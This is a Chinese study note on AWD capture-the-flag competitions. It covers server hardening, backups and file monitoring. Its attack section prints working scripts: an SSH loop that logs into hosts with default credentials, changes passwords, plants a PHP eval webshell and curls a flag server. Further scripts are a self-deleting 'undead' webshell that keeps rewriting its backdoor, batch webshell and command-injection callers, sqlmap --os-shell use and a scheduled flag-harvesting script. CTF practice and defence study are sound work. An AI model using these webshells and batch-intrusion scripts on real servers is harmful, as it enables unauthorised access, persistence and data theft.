Bootstrap

AWD的复现

学习awd的相关资料:速成AWD并获奖的学习方法和思考记录- Track 知识社区 - 掌控安全在线教育 - Powered by 掌控者(包含使用脚本去批量修改密码)

在复现之前去了解了以下AWD的相关脚本

资料:AWD批量攻击脚本使用教程-CSDN博客

AWD批量攻击脚本使用教程-CSDN博客

AWD攻防工具脚本汇总(一) - 卿先生 - 博客园

kali中的parrot工具可以审计代码:

基本的防守策略 

一、修改用户密码和服务密码

1.修改linux的用户密码:

#passwd

如果有权限就删除用户:

#userdel -r (用户名)

先在kali中输入cat /etc/passwd 查看系统中用户的关键信息

再输入cat /etc/passwd |grep bash 过滤一下

然后就可以使用命令删除后门用户

2.修改mysql的密码(以下是在Xshell中操作):

#update mysql.user set password=password或者md5('密码') where user='root';

 可以先使用select host,user,password from mysql.user;来查看

然后再删除匿名的用户:

#delete from mysql.user where user=' ';

刷新配置:

#flush privileges;

#使用mysql -u root -p命令进入数据库再进行相关的操作

注意:这里要改配置文件 

3.修改网站后台的密码

从网站页面或者源码或者御剑找到后台的页面,然后尝试弱口令登入后改管理员的密码

 二、web的防护

AWD指南_php流量监控awd-CSDN博客

1.将网站目录打包成tar

命令:tar 

在Xshell中执行命令 bash

备份根目录: tar -czvf  temp/xxx.tar.gz/var/www/html(将后面的文件备份到前面的temp文件的指定文件中)

解压:tar -xzvf temp/xxx.tar.gz-C/var/www/html

2.用ssh或ftp将打包文件拉到本地

这里使用xftp软件上传

3.将文件拖到D盾中进行扫描有关的漏洞

4.用ssh控制或者ftp控制服务器将木马文件删除或者发现网站存在后门漏洞直接执行#echo >xxx.php

在xshell中复制文件名,再使用rm -f命令删除木马文件。

这样容易宕机,建议使用注释

三、关闭shell连接进程

1.查看正在连接的进程

#who

2.若发现不是自己的ip地址登录了服务器,就关闭连接进程

#pkill -kill -t pts/进程号

四、网站守护

1.查看新增文件并删除

查看命令:find ./ -cmin -30 删除命令:rm -f

2.删除不死马

新建编辑:vim  保存::wq

#vim killshell.sh

#chmod 777 killshell.sh (提供权限)

#nohup ./killshell.sh & (在后台不断的运行)

可以使用ls命令来看是否删除木马文件

3.发现网站页面存在漏洞

#echo > xxx.php (将内容删除为空)

五、防御加固,数据库备份

资料:AWD攻防比赛流程手册_awd加固-CSDN博客

1.使用mysql -uroot -proot连接数据库

2.使用show databases;查看数据库  exit可退出数据库

3.使用mysqldump -uroot -proot (指定的数据库,例如:test等) > /temp/db.sql进行备份

4.恢复数据库:

先使用命令连接数据库,重新创建一个新的数据库(create database test;),使用该数据库,还原数据库的命令(source /temp/db.sql“数据库的绝对路径”;),使用show databases来是否还原成功;

5.需要修改config.php文件中的配置,以上做了什么修改,config.php文件中就需要修改

步骤:先cd进入html文件目录下,使用vim命令打开并修改保存

六、启用通防

通用防御:通过一个脚本来抵挡攻击,还可以观看流量访问别人对你的攻击

这里演示看鸟脚本

AWD Watchbird 安装与使用教程-CSDN博客

【watchbird使用】-CSDN博客

使用

  • 下载最新 release
  • 将waf.so,watchbird.php文件存放在/var/www/html或其他目录中
  • 将watchbird.php放在www-data可读的目录, 确保当前用户对目标目录可写, 然后执行php watchbird.php --install [Web目录], 安装器将输出安装了watchbird的文件路径
  • 访问任意启用了waf的文件, 参数?watchbird=ui打开watchbird控制台, 创建一个初始密码
  • 如需卸载, 请在相同的位置输入php watchbird.php --uninstall [Web目录], 如果您多次运行了安装, 请多次运行卸载直到卸载器无输出

七、文件监控 

FileMonitor 项目使用教程-CSDN博客

FileMonitor for AWD(AWD文件监控)是一款专门为AWD比赛所写的一款监控脚本,基于Python3。 目的:确保源码文件夹下的文件不发生改变,防止被其他队伍上传木马。

功能:

  • 备份当前目录下所有文件及目录,储存在./bak目录中
  • 计算当前文件夹下所有文件(包括子目录下的文件)的MD5值,并实时监测,当MD5值发生变化,删除该文件,并从备份文件中将其还原
  • 实时监测新生成的文件,并将新生成的文件修改后缀名,并移动到./bak/drop文件夹内
  • 当原始文件被删除,从备份文件中恢复该文件

 使用:

将脚本放到源码文件夹,并在命令行输入

$ python3 ./FileMonitor.py

实例:

 

基本攻击策略

这里主要就是写代码

1.批量用户登入修改密码并写入webshell且获取flag值

脚本如下:

ls/home/

#!/usr/bin/env python

#-*- coding:utf-8 -*-

import paramiko

for i in [1,2,3,4,5,6,7,8,9,10]:

try:

host = "4.4."+str(i)+".100"

s=paramiko.SSHClient()

s.set_missing_host_key_policy(paramiko.AutoAddPolicy())

s.connect(hostname=host,port=22,username='user1',password='123456')

stdin,stdout,stderr = s.exec_command('passwd\n')

stdin.write("123456\[email protected]\[email protected]\n")

stdin,stdout,stderr = s.exec_command("echo '<?php eval($_POST[cmd]);?>'>/var/www/html/.zack.php")

stdin,stdout,stderr = s.exec_command('curl http://192.168.245.250/getkey')

print(host+':'+stdout.read().decode('utf-8'))

s.close()

except:

print(host+':Fails!')

2.批量调用webshell获取flag

脚本如下:

#!/usr/bin/env python

#-*- coding:utf-8 -*-
import requests
for i in [1,2,3,4,5,6,7,8,9,10]:
try:
url="http://4.4."+str(i)+".100:"+str(1005)+"/.zack.php"
result=requests.post(url,data={'cmd':"system('curl http://192.168.245.250/getkey');"},timeout=2)
print(url+'-->'+result.text)
//在try块中,代码首先构建了一个URL,该URL由固定的IP段(4.4.)、循环变量i、固定的IP段(.100)、端口号(1005)和文件路径(/.zack.php)组成。然后,使用requests.post方法向这个URL发送一个POST请求,其中data参数是一个字典,包含了一个名为cmd的键,其值是一个尝试执行系统命令的字符串(这里是通过curl命令从另一个IP地址192.168.245.250获取数据)。请求还设置了超时时间为2秒。如果请求成功,它将打印出URL和响应的文本内容。
except:
print(url+'-->Fails!')
//如果在尝试发送POST请求的过程中发生了任何异常(如网络问题、连接拒绝、超时等),except块将捕获这个异常,并打印出出错的URL和一个失败消息。

3.不死马种植

将不死马上传网站目录,访问不死马后在当前目录生成.zack.php后门webshell。

脚本如下:

<?php

set_time_limit(0);

#1表示忽略与客户端断开连接,继续执行脚本

ignore_user_abort(1);

#执行完后删除自身

unlink(__FILE__);

while (1) {

$content = '<?php @eval($_POST[zack]);?>';

file_put_contents(".zack.php", $content);

usleep(500); #暂停0.5秒钟

}

?>

4.杀死不死马的方法,查看不死马的进程ID:

# top | grep httpd

chmod 777 kill.sh

nohup ./kill.sh &

查到ID为 11198 ,根据ID号和webshell名写.sh脚本。

# vim kill.sh

第二次AWD的复现

参考:红蓝对抗-AWD全流程攻略03(攻防模拟)_awd网络攻防-CSDN博客

红蓝对抗-AWD全流程攻略06(起手防御)_awd防守-CSDN博客

红蓝对抗-AWD全流程攻略05(批量获取flag)_awd批量获取flag脚本-CSDN博客

CTF-AWD-Yunnan_2_awd 文件包含漏洞利用-CSDN博客

使用nmap去扫使用的主机,命令:nmap 172.16.17.202 -p 10000-30000

再根据D盾扫出来的木马去攻击对方的网站

footer.php中的命令执行漏洞

脚本

import requests //这行代码导入了Python的requests库,该库用于发送HTTP请求。
f = open('ip.txt','r') //这行代码以只读模式('r')打开名为ip.txt的文件,并将文件对象赋值给变量f。这个文件应该包含了一行一个的IP地址或主机名列表。
data = {"shell":'cat /flag'} //这里创建了一个名为data的字典,它将作为POST请求的body发送。在这个例子中,它包含一个键"shell",其对应的值为字符串'cat /flag'。
for i in f.readlines(): //这行代码遍历ip.txt文件中的每一行。f.readlines()读取文件的所有行,并返回一个列表,其中每个元素都是文件的一行(包括末尾的换行符)。然后,它遍历这个列表,每次迭代中,变量i都会被赋值为列表中的一个元素(即文件中的一行)。
    url = 'http://'+i.strip()+'/footer.php' //这行代码构建了一个URL,它由http://前缀、当前迭代的行(通过i.strip()去除末尾的换行符)和/footer.php路径组成。这个URL是POST请求的目标地址。
    r = requests.post(url,data=data) //使用requests.post()函数向前面构建的URL发送POST请求,并将data字典作为请求体发送。r是一个响应对象,包含了服务器的响应。
    x = r.text //从响应对象r中获取响应的文本内容,并将其赋值给变量x。这通常包含HTML页面、JSON数据或其他文本格式的内容,具体取决于服务器的响应。
    print(url +'    '+ x) //最后,这行代码打印出请求的URL和响应的文本内容,两者之间用四个空格分隔。这有助于用户了解每个请求的目标地址以及服务器对该请求的响应。

 

about.php中的文件包含漏洞

http://172.16.17.202:15054/about.php?file=/flag

contact.php中的fopen漏洞

http://172.16.17.202:15054/contact.php?path=/flag

admin/header.php中的命令执行漏洞

http://172.16.17.202:18922/admin/header.php?p=cat%20/flag

search.php中的sql注入

<?php
	include 'header.php'; //这行代码包含了名为header.php的文件。
	include_once('config.php'); //include_once与include类似,也是用于包含并运行指定文件。不同之处在于,include_once会检查该文件是否已经在该脚本中被包含过,如果是,则不会再次包含。
	if (!empty($_GET['id'])) {
	$id=$_GET['id'];
	$query = "SELECT * FROM news WHERE id=$id";
	$data = mysqli_query($dbc,$query);	
	} //这段代码首先检查$_GET['id']是否非空。$_GET是一个超全局变量,用于收集表单数据或URL的查询字符串。如果URL中包含?id=某个值,那么$_GET['id']就会包含那个值。
    如果$_GET['id']非空,代码将其值赋给变量$id,然后构造一个SQL查询语句,用于从news表中检索ID等于$id的记录。
    接着,使用mysqli_query()函数执行这个查询。这个函数需要两个参数:数据库连接(在这里是$dbc,它应该在config.php文件中被定义并初始化)和SQL查询语句。执行成功后,$data将包含查询结果。
	$com = mysqli_fetch_array($data); //这行代码尝试从$data(即上一步的查询结果)中获取一行数据。mysqli_fetch_array()函数默认以关联数组和索引数组的形式返回结果集中的一行
?>

直接上sqlmap 对 search.php 页面上的 id 参数进行SQL注入测试

-u: 指定目标 URL。
--dbs: 这是一个选项,它告诉 sqlmap 在找到 SQL 注入点后,尝试枚举数据库服务器上的所有数据库名称。
--is-dba:  sqlmap 在找到 SQL 注入点后,尝试检测当前注入的用户是否拥有数据库管理员(DBA)权限。拥有 DBA 权限的用户可以执行数据库中的任意操作,包括创建、删除和修改表,以及读取和写入数据等。
--os-shell: 利用 SQL 注入漏洞来执行操作系统命令。获得一个交互式的 shell,可以在目标服务器上执行任意的操作系统命令。

--os-shell 拿到shell,查看flag 

echo 命令写入后门 

echo命令:
第一种:echo 'ilove u' > a.txt  *在a.txt这个文件中输入iove u,如果没有这个文件则创建。如果有这个文件,那么新内容代替原来的内容。
第二种:echo 'ilove u' >> a.txt  *在a.txt这个文件中输入ilove u,如果没有这个文件则创建,如果有这个文件,那么新内容添加在原来内容的后面。

使用蚁剑连接,连接成功

在根目录下找到flag

login.php万能密码

万能密码(sql注入)_sql注入万能密码-CSDN博客

代码审计

直接上sql注入的万能密码,得到flag

修复万能密码

$user =$_POST['user'];修改成
$user = mysql_real_escape_string($ POST['user']);

admin/index.php中的文件上传

脚本参考:红蓝对抗-AWD全流程攻略05(批量获取flag)_awd批量获取flag脚本-CSDN博客

脚本参考:

import requests
import time
import schedule
import os

payload ="?c=system('cat /flag');"
page=".a.php"
urls = [
    'http://172.16.17.202:10250/',
    'http://172.16.17.202:10298/',
    'http://172.16.17.202:10869/',
    'http://172.16.17.202:12186/',
    'http://172.16.17.202:12232/',
    'http://172.16.17.202:12750/',
    'http://172.16.17.202:14219/',
    'http://172.16.17.202:15054/',
    'http://172.16.17.202:16767/',
    'http://172.16.17.202:17365/',
    'http://172.16.17.202:18922/',

]


def get_flag():
    for url in urls:
        n_url = url + page + payload
        # print(n_url)
        response = requests.get(url=n_url)
        if response.status_code == 200:
            # 获取源代码中的所有文本内容,并按行拆分
            lines = response.text.split('\n')

            # 获取第一行行内容
            choice_line = lines[0]

            with open('hm_flag1.txt', 'a', encoding='utf-8') as file:
                file.write(choice_line+'\n')


def support_flag():
    with open('hm_flag1.txt', 'r', encoding='utf-8') as file:
        content = file.read()
        # print(content)
        for line in content.split('\n'):
            # print(line)
            url = 'http://172.16.17.202:9090/'
            data = {
                "flag": line,
                "token": "4300f7f61934925694f6138f3045e61e"
            }
            response = requests.post(url, data=data)
            # print(response.text)
            time.sleep(1)

    # 提交完所有 flag 后删除文件
    os.remove('hm_flag1.txt')


def job():
    #添加全局变量,跟踪是否是第一次执行任务
    global first_run
    get_flag()
    support_flag()
    print(time.strftime("%Y-%m-%d %H:%M:%S"))

    if first_run:
        #每五分钟执行一次
        schedule.every(5).minutes.do(job)
        first_run = False


if __name__ == '__main__':
    first_run = True
    job()

    while True:
        schedule.run_pending()
        time.sleep(1)

;